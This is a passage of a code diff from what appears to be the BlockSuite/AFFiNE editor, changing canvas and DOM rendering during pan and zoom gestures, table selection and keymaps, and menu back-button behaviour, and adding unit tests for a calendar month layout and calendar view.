if (panning) {
cancelPendingCanvasRefresh();
} else {
scheduleCanvasRefresh();
}
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(zooming => {
this._updatePlaceholderMode();
if (zooming) {
cancelPendingCanvasRefresh();
} else {
scheduleCanvasRefresh();
}
})
);
this._disposables.add({ dispose: cancelPendingCanvasRefresh });
}
let wasDragging = false;
this._disposables.add(
effect(() => {
const isDragging = this._gfx.tool.dragging$.value;
if (wasDragging && !isDragging) {
this.refresh({ type: 'all' });
if (this.viewport.panning$.value || this.viewport.zooming$.value) {
// Deferred refresh will handle it after gesture ends
} else {
this.refresh({ type: 'all' });
}
}
wasDragging = isDragging;
@@ -572,16 +965,34 @@ export class CanvasRenderer {
private _render() {
const renderStart = performance.now();
const { viewportBounds, zoom } = this.viewport;
const { overscanViewportBounds, viewportBounds, zoom } = this.viewport;
const {
cullBound: mainCanvasCullBound,
renderBound: mainCanvasRenderBound,
} = getMainCanvasFallbackBounds({
viewportBounds,
overscanViewportBounds,
});
const { ctx } = this;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(zoom);
const scale = zoom * dpr;
const matrix = new DOMMatrix().scaleSelf(scale);
const renderStats = this._createRenderPassStats();
const fullRender = this._needsFullRender;
const stackingIndexesToRender = fullRender
? this._stackingCanvas.map((_, idx) => idx)
: [...this._dirtyStackingCanvasIndexes];
const bypassStackingCanvases = getStackingCanvasBypassState({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
gestureActive:
this.viewport.panning$.value || this.viewport.zooming$.value,
recoveryActive: this._isStackingCanvasRecoveryActive(),
viewportWidth: this.viewport.width,
viewportHeight: this.viewport.height,
});
const stackingIndexesToRender = bypassStackingCanvases
? []
: fullRender
? this._stackingCanvas.map((_, idx) => idx)
: [...this._dirtyStackingCanvasIndexes];
/**
* if a layer does not have a corresponding canvas
* its element will be add to this array and drawing on the
@@ -589,7 +1000,15 @@ export class CanvasRenderer {
*/
let fallbackElement: SurfaceElementModel[] = [];
const allCanvasLayers = this.layerManager.getCanvasLayers();
const viewportBound = Bound.from(viewportBounds);
const stackingViewportBound = Bound.from(overscanViewportBounds);
this._canvasSizeUpdater(mainCanvasRenderBound, dpr).update(this.canvas);
if (bypassStackingCanvases) {
this._stackingCanvas.forEach(canvas => {
this._applyStackingCanvasLayout(canvas, null, dpr);
});
}
for (const idx of stackingIndexesToRender) {
const layer = allCanvasLayers[idx];
@@ -601,7 +1020,7 @@ export class CanvasRenderer {
const layerRenderBound = this._getLayerRenderBound(
layer.elements,
viewportBound
stackingViewportBound
);
const resolvedLayerRenderBound = this._getResolvedStackingCanvasBound(
canvas,
@@ -638,7 +1057,12 @@ export class CanvasRenderer {
if (fullRender || this._mainCanvasDirty) {
allCanvasLayers.forEach((layer, idx) => {
if (!this._stackingCanvas[idx]) {
if (
bypassStackingCanvases ||
!this._stackingCanvas[idx] ||
this._stackingCanvas[idx].width === 0 ||
this._stackingCanvas[idx].height === 0
) {
fallbackElement = fallbackElement.concat(layer.elements);
}
});
@@ -651,10 +1075,11 @@ export class CanvasRenderer {
ctx,
matrix,
new RoughCanvas(ctx.canvas),
viewportBounds,
mainCanvasRenderBound,
fallbackElement,
true,
renderStats
renderStats,
mainCanvasCullBound
);
}
@@ -726,7 +1151,8 @@ export class CanvasRenderer {
bound: IBound,
surfaceElements?: SurfaceElementModel[],
overLay: boolean = false,
renderStats?: RenderPassStats
renderStats?: RenderPassStats,
cullBound: IBound = bound
) {
if (!ctx) return;
@@ -734,13 +1160,13 @@ export class CanvasRenderer {
const elements =
surfaceElements ??
(this.grid.search(bound, {
(this.grid.search(cullBound, {
filter: ['canvas', 'local'],
}) as SurfaceElementModel[]);
for (const element of elements) {
const display = (element.display ?? true) && !element.hidden;
if (display && intersects(getBoundWithRotation(element), bound)) {
if (display && intersects(getBoundWithRotation(element), cullBound)) {
renderStats && (renderStats.visibleElementCount += 1);
if (
this.usePlaceholder &&
@@ -748,7 +1174,7 @@ export class CanvasRenderer {
) {
renderStats && (renderStats.placeholderElementCount += 1);
ctx.save();
ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
ctx.fillStyle = resolveSurfacePlaceholderColor(this.getColorScheme());
const drawX = element.x - bound.x;
const drawY = element.y - bound.y;
ctx.fillRect(drawX, drawY, element.w, element.h);
@@ -785,9 +1211,12 @@ export class CanvasRenderer {
}
private _resetSize() {
const sizeUpdater = this._canvasSizeUpdater();
const sizeUpdater = this._canvasSizeUpdater(
this.viewport.overscanViewportBounds
);
sizeUpdater.update(this.canvas);
this._lastCanvasBudgetZoom = this.viewport.zoom;
this._invalidate({ type: 'all' });
}
@@ -838,6 +1267,7 @@ export class CanvasRenderer {
this._container = container;
container.append(this.canvas);
this._updatePlaceholderMode();
this._resetSize();
this.refresh({ type: 'all' });
}
@@ -864,8 +1294,11 @@ export class CanvasRenderer {
canvas = canvas || document.createElement('canvas');
const dpr = window.devicePixelRatio || 1;
if (canvas.width !== bound.w * dpr) canvas.width = bound.w * dpr;
if (canvas.height !== bound.h * dpr) canvas.height = bound.h * dpr;
const actualWidth = Math.ceil(bound.w * dpr);
const actualHeight = Math.ceil(bound.h * dpr);
if (canvas.width !== actualWidth) canvas.width = actualWidth;
if (canvas.height !== actualHeight) canvas.height = actualHeight;
canvas.style.width = `${bound.w}px`;
canvas.style.height = `${bound.h}px`;
@@ -19,12 +19,14 @@ import type {
SurfaceBlockModel,
Viewport,
} from '@blocksuite/std/gfx';
import { viewportRuntimeConfig } from '@blocksuite/std/gfx';
import { Subject } from 'rxjs';
import type { SurfaceElementModel } from '../element-model/base.js';
import type { DomElementRenderer } from './dom-elements/index.js';
import { DomElementRendererIdentifier } from './dom-elements/index.js';
import type { Overlay } from './overlay.js';
import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
type EnvProvider = {
generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -222,6 +224,12 @@ export class DomRenderer {
private _initViewport() {
this._disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this._markViewportDirty();
this.refresh();
})
@@ -242,6 +250,9 @@ export class DomRenderer {
this._disposables.add(
this.viewport.zooming$.subscribe(isZooming => {
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
return;
}
const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
if (this.usePlaceholder !== shouldRenderPlaceholders) {
@@ -252,6 +263,43 @@ export class DomRenderer {
})
);
// Post-gesture refresh for SKIP mode
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelRefresh = () => {
if (pendingTimerId !== null) {
clearTimeout(pendingTimerId);
pendingTimerId = null;
}
};
const scheduleRefresh = () => {
cancelRefresh();
pendingTimerId = setTimeout(() => {
pendingTimerId = null;
if (!this.viewport.panning$.value && !this.viewport.zooming$.value) {
this._markViewportDirty();
this.refresh();
}
}, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
};
this._disposables.add(
this.viewport.panning$.subscribe(panning => {
if (panning) cancelRefresh();
else if (!this.viewport.zooming$.value) scheduleRefresh();
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(zooming => {
if (zooming) cancelRefresh();
else if (!this.viewport.panning$.value) scheduleRefresh();
})
);
this._disposables.add({ dispose: cancelRefresh });
}
this.usePlaceholder = false;
}
@@ -292,12 +340,15 @@ export class DomRenderer {
domElement = document.createElement('div');
domElement.dataset.elementId = elementModel.id;
domElement.style.position = 'absolute';
domElement.style.backgroundColor = 'rgba(200, 200, 200, 0.5)';
this._elementsMap.set(elementModel.id, domElement);
this.rootElement.append(domElement);
addedElements.push(domElement);
}
domElement.style.backgroundColor = resolveSurfacePlaceholderColor(
this.getColorScheme()
);
const geometricStyles = calculatePlaceholderRect(
elementModel,
viewportBounds,
@@ -0,0 +1,10 @@
import { type ColorScheme } from '@blocksuite/affine-model';
import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
export function getSurfacePlaceholderFallback(colorScheme: ColorScheme) {
return getAffinePlaceholderFillColor(colorScheme);
}
export function resolveSurfacePlaceholderColor(colorScheme: ColorScheme) {
return getSurfacePlaceholderFallback(colorScheme);
}
@@ -527,6 +527,9 @@ export class SelectionController implements ReactiveController {
removeNativeSelection = true
) {
if (selection) {
if (this.hasExternalNativeSelection()) {
return;
}
const previous = this.getSelected();
if (TableSelectionData.equals(previous, selection)) {
return;
@@ -551,4 +554,24 @@ export class SelectionController implements ReactiveController {
);
return selection?.is(TableSelection) ? selection.data : undefined;
}
private hasExternalNativeSelection() {
const selection = getSelection();
if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
return false;
}
const range = selection.getRangeAt(0);
if (!range.intersectsNode(this.host)) {
return false;
}
const anchorNode = selection.anchorNode;
const focusNode = selection.focusNode;
return (
!!anchorNode &&
!!focusNode &&
(!this.host.contains(anchorNode) || !this.host.contains(focusNode))
);
}
}
@@ -1,10 +1,32 @@
import { css } from '@emotion/css';
const externalRangeSelectionSelector =
'affine-table[data-external-range-selection]';
const hiddenSelectionBackground = '#fff';
export const tableContainer = css({
display: 'block',
padding: '10px 0 18px 10px',
overflowX: 'auto',
overflowY: 'visible',
userSelect: 'none',
WebkitUserSelect: 'none',
'& *': {
userSelect: 'none',
WebkitUserSelect: 'none',
},
[`${externalRangeSelectionSelector} &::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & *::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & rich-text::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
[`${externalRangeSelectionSelector} & rich-text *::selection`]: {
backgroundColor: hiddenSelectionBackground,
},
'::-webkit-scrollbar': {
height: '8px',
},
@@ -5,7 +5,10 @@ import { DocModeProvider } from '@blocksuite/affine-shared/services';
import { VirtualPaddingController } from '@blocksuite/affine-shared/utils';
import { IS_MOBILE } from '@blocksuite/global/env';
import type { BlockComponent } from '@blocksuite/std';
import { RANGE_SYNC_EXCLUDE_ATTR } from '@blocksuite/std/inline';
import {
RANGE_QUERY_EXCLUDE_ATTR,
RANGE_SYNC_EXCLUDE_ATTR,
} from '@blocksuite/std/inline';
import { signal } from '@preact/signals-core';
import { html, nothing } from 'lit';
import { ref } from 'lit/directives/ref.js';
@@ -37,7 +40,80 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
override connectedCallback() {
super.connectedCallback();
this.setAttribute(RANGE_SYNC_EXCLUDE_ATTR, 'true');
this.setAttribute(RANGE_QUERY_EXCLUDE_ATTR, 'true');
this.style.position = 'relative';
const doc = this.ownerDocument;
this.disposables.addFromEvent(doc, 'selectionchange', () => {
const hasExternalNativeSelection = this.hasExternalNativeSelection();
this.toggleAttribute(
'data-external-range-selection',
hasExternalNativeSelection
);
if (hasExternalNativeSelection) {
delete this.dataset.internalRangeSelection;
}
this.setInternalEditablesEnabled(!hasExternalNativeSelection);
});
this.disposables.addFromEvent(
doc,
'pointerdown',
event => {
const target = event.target;
const NodeConstructor = this.ownerDocument.defaultView?.Node;
if (
NodeConstructor &&
target instanceof NodeConstructor &&
this.contains(target)
) {
this.setInternalEditablesEnabled(true);
if (this.hasExternalNativeSelection()) {
this.ownerDocument.getSelection()?.removeAllRanges();
}
delete this.dataset.externalRangeSelection;
this.dataset.internalRangeSelection = 'true';
} else {
delete this.dataset.internalRangeSelection;
}
},
{ capture: true }
);
}
private setInternalEditablesEnabled(enabled: boolean) {
this.querySelectorAll<HTMLElement>('.inline-editor').forEach(editor => {
if (enabled) {
if (editor.dataset.tableExternalSelectionDisabled === 'true') {
editor.contentEditable = 'true';
delete editor.dataset.tableExternalSelectionDisabled;
}
return;
}
if (editor.contentEditable === 'true') {
editor.contentEditable = 'false';
editor.dataset.tableExternalSelectionDisabled = 'true';
}
});
}
private hasExternalNativeSelection() {
const selection = this.ownerDocument.getSelection();
if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
return false;
}
const range = selection.getRangeAt(0);
if (!range.intersectsNode(this)) {
return false;
}
const anchorNode = selection.anchorNode;
const focusNode = selection.focusNode;
return (
!!anchorNode &&
!!focusNode &&
(!this.contains(anchorNode) || !this.contains(focusNode))
);
}
override get topContenteditableElement() {
@@ -10,6 +10,18 @@ export const cellContainerStyle = css({
isolation: 'auto',
textAlign: 'start',
verticalAlign: 'top',
'affine-table[data-internal-range-selection="true"] &': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
'affine-table[data-internal-range-selection="true"] & rich-text': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
'affine-table[data-internal-range-selection="true"] & rich-text *': {
userSelect: 'text',
WebkitUserSelect: 'text',
},
});
export const columnOptionsCellStyle = css({
@@ -649,12 +649,9 @@ export class TableCell extends SignalWatcher(
}
private readonly _handleKeyDown = (e: KeyboardEvent) => {
if (e.key !== 'Escape') {
if (e.key === 'Tab') {
e.preventDefault();
return;
}
e.stopPropagation();
if (e.key !== 'Escape' && e.key === 'Tab') {
e.preventDefault();
return;
}
};
@@ -0,0 +1,7 @@
import { textKeymap } from '@blocksuite/affine-inline-preset';
import { TableBlockSchema } from '@blocksuite/affine-model';
import { KeymapExtension } from '@blocksuite/std';
export const TableKeymapExtension = KeymapExtension(textKeymap, {
flavour: TableBlockSchema.model.flavour,
});
@@ -9,6 +9,7 @@ import { literal } from 'lit/static-html.js';
import { tableSlashMenuConfig } from './configs/slash-menu';
import { effects } from './effects';
import { TableKeymapExtension } from './table-keymap.js';
export class TableViewExtension extends ViewExtensionProvider {
override name = 'affine-table-block';
@@ -22,6 +23,7 @@ export class TableViewExtension extends ViewExtensionProvider {
super.setup(context);
context.register([
FlavourExtension(TableModelFlavour),
TableKeymapExtension,
BlockViewExtension(TableModelFlavour, literal`affine-table`),
SlashMenuConfigExtension(TableModelFlavour, tableSlashMenuConfig),
]);
@@ -95,7 +95,9 @@ export class MenuInput extends MenuFocusable {
});
requestAnimationFrame(() => {
requestAnimationFrame(() => {
this.inputRef.select();
if (!this.data.disableAutoFocus) {
this.inputRef.select();
}
});
});
}
@@ -223,6 +225,7 @@ export const menuInputItems = {
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
disableAutoFocus?: boolean;
class?: string;
style?: Readonly<StyleInfo>;
}) =>
@@ -237,6 +240,7 @@ export const menuInputItems = {
onComplete: config.onComplete,
onChange: config.onChange,
onBlur: config.onBlur,
disableAutoFocus: config.disableAutoFocus,
};
const style = styleMap({
display: 'flex',
@@ -111,8 +111,10 @@ export class MenuComponent
}
const onBack = this.menu.options.title?.onBack;
if (e.key === 'Backspace' && onBack && !this.menu.showSearch$.value) {
this.menu.close();
onBack(this.menu);
const result = onBack(this.menu);
if (result !== false) {
this.menu.close();
}
return;
}
if (e.key === 'Enter' && !e.isComposing) {
@@ -214,8 +216,10 @@ export class MenuComponent
${title.onBack
? html` <div
@click="${() => {
title.onBack?.(this.menu);
this.menu.close();
const result = title.onBack?.(this.menu);
if (result !== false) {
this.menu.close();
}
}}"
class="dv-icon-20 dv-hover dv-pd-2 dv-round-4"
style="display:flex;"
@@ -15,7 +15,7 @@ export type MenuOptions = {
onClose?: () => void;
title?: {
text: string;
onBack?: (menu: Menu) => void;
onBack?: (menu: Menu) => boolean | void;
onClose?: () => void;
postfix?: () => TemplateResult;
};
+1 -1
View File
@@ -30,7 +30,7 @@
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
@@ -0,0 +1,371 @@
import { describe, expect, it } from 'vitest';
import {
type CalendarEntry,
createCalendarMonthLayout,
getCalendarDayContentSlots,
getCalendarVisibleMonthRange,
} from '../view-presets/calendar/index.js';
const day = (value: string) => new Date(`${value}T00:00:00`).getTime();
describe('calendar month layout', () => {
it('buckets single day entries', () => {
const entry = {
kind: 'row',
id: 'database:row-1',
sourceId: 'database',
rowId: 'row-1',
title: 'Task',
startAt: day('2026-05-15'),
cardProperties: [],
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(
layout.days.find(item => item.date === day('2026-05-15'))?.entries
).toEqual([entry]);
});
it('splits range external entries across weeks', () => {
const entry = {
kind: 'external',
id: 'external:1',
sourceId: 'workspace-calendar',
externalId: '1',
title: 'Trip',
startAt: day('2026-05-09'),
endAt: new Date('2026-05-12T12:00:00').getTime(),
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(layout.segments).toMatchObject([
{ weekIndex: 1, startIndex: 6, span: 1 },
{ weekIndex: 2, startIndex: 0, span: 3 },
]);
});
it('treats all-day external midnight end as exclusive', () => {
const entry = {
kind: 'external',
id: 'external:1',
sourceId: 'workspace-calendar',
externalId: '1',
title: 'All day',
startAt: day('2026-05-15'),
endAt: day('2026-05-16'),
allDay: true,
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(
layout.days.find(item => item.date === day('2026-05-15'))?.entries
).toEqual([entry]);
});
it('treats row midnight end date as inclusive', () => {
const entry = {
kind: 'row',
id: 'database:row-1',
sourceId: 'database',
rowId: 'row-1',
title: 'Task',
startAt: day('2026-05-15'),
endAt: day('2026-05-16'),
cardProperties: [],
canResizeRange: true,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(layout.segments).toMatchObject([
{ weekIndex: 2, startIndex: 5, span: 2 },
]);
});
it('clips range entries to visible month range', () => {
const entry = {
kind: 'external',
id: 'external:1',
sourceId: 'workspace-calendar',
externalId: '1',
title: 'Long trip',
startAt: day('2026-04-01'),
endAt: day('2026-06-30'),
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(layout.segments[0]).toMatchObject({
weekIndex: 0,
startIndex: 0,
span: 7,
});
expect(layout.segments.at(-1)).toMatchObject({
weekIndex: layout.weeks.length - 1,
startIndex: 0,
span: 7,
});
});
it('pads month view to full weeks', () => {
const range = getCalendarVisibleMonthRange(day('2026-05-01'));
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [],
});
expect(new Date(range.from).getDay()).toBe(0);
expect(new Date(range.to).getDay()).toBe(6);
expect(layout.days).toHaveLength(layout.weeks.length * 7);
});
it('keeps day buckets on local midnight across DST boundaries', () => {
const entry = {
kind: 'row',
id: 'database:row-1',
sourceId: 'database',
rowId: 'row-1',
title: 'DST task',
startAt: day('2026-03-09'),
cardProperties: [],
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-03-01'),
entries: [entry],
});
expect(
layout.days.every(item => {
const date = new Date(item.date);
return (
date.getHours() === 0 &&
date.getMinutes() === 0 &&
date.getSeconds() === 0 &&
date.getMilliseconds() === 0
);
})
).toBe(true);
expect(
layout.days.find(item => item.date === day('2026-03-09'))?.entries
).toEqual([entry]);
});
it('keeps range segment offsets across DST boundaries', () => {
const entry = {
kind: 'external',
id: 'external:1',
sourceId: 'workspace-calendar',
externalId: '1',
title: 'DST range',
startAt: day('2026-03-09'),
endAt: new Date('2026-03-10T12:00:00').getTime(),
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-03-01'),
entries: [entry],
});
expect(layout.segments).toMatchObject([
{ weekIndex: 1, startIndex: 1, span: 2 },
]);
});
it('keeps all same-day entries in the day bucket', () => {
const entries = Array.from(
{ length: 4 },
(_, index) =>
({
kind: 'row',
id: `database:row-${index}`,
sourceId: 'database',
rowId: `row-${index}`,
title: `Task ${index}`,
startAt: day('2026-05-15'),
cardProperties: [],
canResizeRange: false,
}) satisfies CalendarEntry
);
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries,
});
expect(
layout.days.find(item => item.date === day('2026-05-15'))?.entries
).toHaveLength(4);
});
it('assigns each overlapping range segment to its own slot', () => {
const entries: CalendarEntry[] = [
...Array.from(
{ length: 3 },
(_, index) =>
({
kind: 'external',
id: `external:full-${index}`,
sourceId: 'workspace-calendar',
externalId: `full-${index}`,
title: `Full ${index}`,
startAt: day('2026-05-15'),
endAt: new Date('2026-05-17T12:00:00').getTime(),
canResizeRange: false,
}) as const
),
{
kind: 'external',
id: 'external:short',
sourceId: 'workspace-calendar',
externalId: 'short',
title: 'Short',
startAt: day('2026-05-18'),
endAt: new Date('2026-05-19T12:00:00').getTime(),
canResizeRange: false,
},
];
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries,
});
const may15 = layout.days.find(item => item.date === day('2026-05-15'))!;
const may18 = layout.days.find(item => item.date === day('2026-05-18'))!;
expect(getCalendarDayContentSlots(may15)).toBe(3);
expect(may15.segments.map(segment => segment.slot)).toEqual([0, 1, 2]);
expect(getCalendarDayContentSlots(may18)).toBe(1);
expect(may18.segments.map(segment => segment.slot)).toEqual([0]);
});
it('counts segment and same-day slots for drag preview placement', () => {
const entries: CalendarEntry[] = [
...Array.from(
{ length: 3 },
(_, index) =>
({
kind: 'external',
id: `external:range-${index}`,
sourceId: 'workspace-calendar',
externalId: `range-${index}`,
title: `Range ${index}`,
startAt: day('2026-05-08'),
endAt: new Date('2026-05-09T12:00:00').getTime(),
canResizeRange: false,
}) as const
),
{
kind: 'row',
id: 'database:moving',
sourceId: 'database',
rowId: 'moving',
title: 'Moving',
startAt: day('2026-05-06'),
endAt: new Date('2026-05-08T12:00:00').getTime(),
cardProperties: [],
canResizeRange: true,
},
{
kind: 'row',
id: 'database:single',
sourceId: 'database',
rowId: 'single',
title: 'Single',
startAt: day('2026-05-08'),
cardProperties: [],
canResizeRange: false,
},
];
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries,
});
const may8 = layout.days.find(item => item.date === day('2026-05-08'))!;
expect(getCalendarDayContentSlots(may8, 'database:moving')).toBe(4);
});
it('splits row range entries across weeks with continuation metadata', () => {
const entry = {
kind: 'row',
id: 'database:row-1',
sourceId: 'database',
rowId: 'row-1',
title: 'Project',
startAt: day('2026-05-09'),
endAt: new Date('2026-05-12T12:00:00').getTime(),
cardProperties: [],
canResizeRange: true,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(layout.segments).toMatchObject([
{
weekIndex: 1,
startIndex: 6,
span: 1,
startsBeforeWeek: false,
endsAfterWeek: true,
},
{
weekIndex: 2,
startIndex: 0,
span: 3,
startsBeforeWeek: true,
endsAfterWeek: false,
},
]);
});
it('skips range entries completely outside the visible month range', () => {
const entry = {
kind: 'external',
id: 'external:outside',
sourceId: 'workspace-calendar',
externalId: 'outside',
title: 'Outside',
startAt: day('2026-06-10'),
endAt: day('2026-06-12'),
canResizeRange: false,
} satisfies CalendarEntry;
const layout = createCalendarMonthLayout({
month: day('2026-05-01'),
entries: [entry],
});
expect(layout.segments).toEqual([]);
expect(layout.days.every(day => day.segments.length === 0)).toBe(true);
});
});
@@ -0,0 +1,812 @@
import { DocDisplayMetaProvider } from '@blocksuite/affine-shared/services';
import { signal } from '@preact/signals-core';
import { describe, expect, it, vi } from 'vitest';
import type { DataSource } from '../core/data-source/base.js';
import {
CalendarSingleView,
type CalendarStoredViewData,
calendarViewModel,
} from '../view-presets/calendar/index.js';
import {
formatEntryTime,
openCalendarEntry,
} from '../view-presets/calendar/pc/actions.js';
import { getCalendarDndEntity } from '../view-presets/calendar/pc/dnd.js';
import { viewConverts } from '../view-presets/convert.js';
const day = (value: string) => new Date(`${value}T00:00:00`).getTime();
const createCalendarView = (options?: {
startColumnId?: string;
endColumnId?: string;
datePropertyType?: string;
rows?: string[];
filterValue?: string;
titleValue?: unknown;
linkedDocTitles?: Record<string, string>;
visiblePropertyIds?: string[];
externalFactories?: Map<unknown, unknown>;
}) => {
const rows = signal(options?.rows ?? ['row-1']);
const columns = signal(['title', 'date', 'end-date', 'status']);
const viewData = signal<CalendarStoredViewData>({
id: 'view-1',
name: 'Calendar',
mode: 'calendar',
filter: options?.filterValue
? {
type: 'group',
op: 'and',
conditions: [
{
type: 'filter',
left: { type: 'ref', name: 'status' },
function: 'is',
args: [{ type: 'literal', value: options.filterValue }],
},
],
}
: {
type: 'group',
op: 'and',
conditions: [],
},
date: {
startColumnId: options?.startColumnId,
endColumnId: options?.endColumnId,
},
card: {
titleColumnId: 'title',
visiblePropertyIds: options?.visiblePropertyIds ?? [],
},
sources: {
workspaceCalendar: {
enabled: true,
},
},
});
const values = new Map<string, unknown>([
['row-1:date', day('2026-05-15')],
['row-1:end-date', day('2026-05-17')],
['row-1:status', 'Done'],
['row-1:title', options?.titleValue ?? 'Task'],
['row-2:date', day('2026-05-16')],
['row-2:end-date', day('2026-05-14')],
['row-2:status', 'Todo'],
['row-2:title', 'Hidden'],
]);
const types = new Map<string, string>([
['title', 'title'],
['date', options?.datePropertyType ?? 'date'],
['end-date', 'date'],
['status', 'text'],
]);
const dataSource = {
rows$: rows,
properties$: columns,
readonly$: signal(false),
featureFlags$: signal({ enable_table_virtual_scroll: false }),
provider: {
getAll: () => options?.externalFactories ?? new Map(),
},
viewDataGet: () => viewData.value,
viewDataUpdate: (
_id: string,
updater: (data: CalendarStoredViewData) => Partial<CalendarStoredViewData>
) => {
viewData.value = { ...viewData.value, ...updater(viewData.value) };
},
cellValueGet: (rowId: string, propertyId: string) =>
values.get(`${rowId}:${propertyId}`),
cellValueChange: (rowId: string, propertyId: string, value: unknown) => {
values.set(`${rowId}:${propertyId}`, value);
},
rowAdd: () => {
const rowId = `row-${rows.value.length + 1}`;
rows.value = [...rows.value, rowId];
return rowId;
},
propertyTypeGet: (propertyId: string) => types.get(propertyId),
propertyNameGet: (propertyId: string) => propertyId,
propertyDataGet: () => ({}),
propertyReadonlyGet: () => false,
serviceGet: (key: unknown) => {
if (key !== DocDisplayMetaProvider) {
return null;
}
return {
title: (pageId: string, referenceInfo?: { title?: string }) =>
signal(referenceInfo?.title ?? options?.linkedDocTitles?.[pageId]),
};
},
propertyMetaGet: (type: string) => ({
type,
config: {
rawValue: {
toJson: ({ value }: { value: unknown }) => {
const deltas =
typeof value === 'object' && value != null && 'deltas$' in value
? (value as { deltas$?: { value?: unknown } }).deltas$?.value
: undefined;
if (!Array.isArray(deltas)) {
return value;
}
return deltas
.map(delta => {
const item = delta as {
insert?: unknown;
attributes?: {
reference?: {
type?: string;
pageId?: unknown;
};
};
};
const pageId = item.attributes?.reference?.pageId;
if (
item.attributes?.reference?.type === 'LinkedPage' &&
typeof pageId === 'string'
) {
return (
options?.linkedDocTitles?.[pageId] ?? item.insert ?? ''
);
}
return item.insert ?? '';
})
.join('');
},
fromJson: ({ value }: { value: unknown }) => value,
toString: ({ value }: { value: unknown }) =>
typeof value === 'string' ? value : '',
},
jsonValue: {
schema: {
safeParse: (value: unknown) => ({ success: true, data: value }),
},
isEmpty: () => false,
type: () => undefined,
},
},
renderer: {},
}),
propertyAdd: () => {
columns.value = [...columns.value, 'created-date'];
types.set('created-date', 'date');
return 'created-date';
},
propertyCanDelete: () => true,
propertyCanDuplicate: () => true,
propertyTypeCanSet: () => true,
} as unknown as DataSource;
const manager = {
dataSource,
readonly$: signal(false),
};
return {
view: new CalendarSingleView(manager as any, 'view-1'),
viewData,
values,
types,
columns,
};
};
describe('CalendarSingleView', () => {
it('creates default view data without selecting a start date', () => {
const data = calendarViewModel.model.defaultData({
dataSource: {
properties$: signal(['title', 'date']),
propertyTypeGet: (id: string) => (id === 'title' ? 'title' : 'date'),
},
} as any);
expect(data.date).toEqual({});
expect(data.card).toEqual({
titleColumnId: 'title',
visiblePropertyIds: [],
});
});
it('enters setup state without a start date property', () => {
const { view } = createCalendarView();
expect(view.dateMapping$.value.status).toBe('setup');
});
it('enters setup state when start date column is not date', () => {
const { view } = createCalendarView({
startColumnId: 'date',
datePropertyType: 'text',
});
expect(view.dateMapping$.value.status).toBe('setup');
});
it('enters setup state after date property deletion', () => {
const { view, columns } = createCalendarView({ startColumnId: 'date' });
columns.value = ['title', 'status'];
expect(view.dateMapping$.value.status).toBe('setup');
});
it('creates row entries after filtering rows', () => {
const { view } = createCalendarView({
startColumnId: 'date',
rows: ['row-1', 'row-2'],
filterValue: 'Done',
});
expect(view.rowEntries$.value.map(entry => entry.rowId)).toEqual(['row-1']);
});
it('updates entry date after row date value changes', () => {
const { view, values } = createCalendarView({ startColumnId: 'date' });
values.set('row-1:date', day('2026-05-20'));
expect(view.rowEntries$.value[0]?.startAt).toBe(day('2026-05-20'));
});
it('creates row range entries and falls back when end date is invalid', () => {
const { view } = createCalendarView({
startColumnId: 'date',
endColumnId: 'end-date',
rows: ['row-1', 'row-2'],
});
expect(
view.rowEntries$.value.map(entry => [
entry.rowId,
entry.startAt,
entry.endAt,
])
).toEqual([
['row-1', day('2026-05-15'), day('2026-05-17')],
['row-2', day('2026-05-16'), undefined],
]);
expect(view.rowEntries$.value[0]?.canResizeRange).toBe(true);
});
it('moves row range while preserving duration', () => {
const { view, values } = createCalendarView({
startColumnId: 'date',
endColumnId: 'end-date',
});
view.moveRowToDate('row-1', day('2026-05-20'));
expect(values.get('row-1:date')).toBe(day('2026-05-20'));
expect(values.get('row-1:end-date')).toBe(day('2026-05-22'));
});
it('resizes row range without crossing start and end', () => {
const { view, values } = createCalendarView({
startColumnId: 'date',
endColumnId: 'end-date',
});
view.resizeRowRange('row-1', 'start', day('2026-05-18'));
